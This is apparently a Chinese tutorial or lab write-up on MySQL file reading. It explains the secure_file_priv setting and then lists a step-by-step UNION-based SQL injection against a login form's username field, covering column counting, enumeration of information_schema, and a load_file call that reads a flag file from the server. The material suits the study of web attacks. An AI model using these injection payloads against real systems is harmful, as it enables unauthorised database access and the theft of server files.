【load_file读文件】

一、文件操作基础

show

先试试 show variables;发现显示了三百多行的系统变量:

这是数据库的目录:

mysql有多种编码方式,有数据库编码、连接时的编码、还有客户端的编码:

这里还有一个日志路径,这个日志是需要手动打开的,但是打开这个日志数据库会大很多:

这个记录的是主机的名字:

mysql端口号默认3306:

版本是5.5.53

这里记录的是机器的型号和操作系统的型号:

我们看到mysql的variables变量非常多,所以我们需要筛选一下,这个时候就可以用通配符like:

cpp 复制代码
show variables like 'sec%';

我们看到第二个选项secure_file_priv它的值是null,它是文件读写相关的选项:


我们用phpstudy快速的打开配置文件:

之间在末尾添加一下,后面没有任何值的,因为不限制导入导出,保存后mysql重启一下就可以生效:

现在可以看到是什么都没有,就表明mysql对导入导出不限制:

load_file


我们本地第一下看看,读完后发现是空值

本地flag的路径也是这个,为什么会是空值呢,事实上是因为我们的反斜杠\,读取目录的时候是不能用反斜杠的,得用普通的斜杠:

这样就成功读取了:

当我们把目录换到了mysql目录,我们再去读就发现读不到了,因为secure_file_priv的目录换到了mysql

目录就只能读mysql目录

我们读一下mysql目录下的文件,成功读取了,www的目录不能读取,因为我们限制了读取目录:

二、Load_file读文件

常规union联合查询注入

cpp 复制代码
测试注入点
username=admin&password=a

闭合
username=admin' and 1=1%23&password=a

测试列数
username=admin' order by 3%23&password=a

测试回显位
username=a' union select 1,2,3%23&password=a

查库名
username=a' union select 1,database(),3%23&password=a

查表名
username=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=a

查列名
username=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23&password=a

查flag #输出了路径C:/phpstudy_pro/WWW/7/6/flag.txt
username=a' union select 1,flag,3 from flag%23&password=a

读文件
username=a' union select 1,load_file('C:/phpstudy_pro/WWW/7/6/flag.txt'),3 %23&password=a

总结

load_file等读文件的函数受到secure-file-priv 选项的限制,能不能使用load_file进行注入,要看这个选项的配置

文件路径不能使用反斜线\,要使用斜线/

相关推荐
Q16849645151 小时前
提高命令行运行效率-正则 表达式
数据库·mysql
盒马coding1 小时前
PostgreSQL 空闲空间映射(FSM)深度解读
数据库·postgresql
vistaup2 小时前
Android ContentProvier
android·数据库
Pluchon2 小时前
硅基计划5.0 MySQL 陆 视图&JDBC编程&用户权限控制
数据库·mysql·1024程序员节
摇滚侠2 小时前
Spring Boot3零基础教程,自定义 starter,把项目封装成依赖给别人使用,笔记65
数据库·spring boot·笔记
不剪发的Tony老师2 小时前
SQLiteSpy:一款轻量级的SQLite管理工具
数据库·sqlite
一 乐3 小时前
车辆管理|校园车辆信息|基于SprinBoot+vue的校园车辆管理系统(源码+数据库+文档)
java·前端·数据库·vue.js·论文·毕设·车辆管理
得物技术3 小时前
告别数据无序:得物数据研发与管理平台的破局之路
大数据·数据库·数据分析
EndingCoder4 小时前
Node.js 数据查询优化技巧
服务器·javascript·数据库·node.js·数据查询优化
TDengine (老段)4 小时前
TDengine 数学函数 SIGN 用户手册
大数据·数据库·sql·时序数据库·iot·tdengine·涛思数据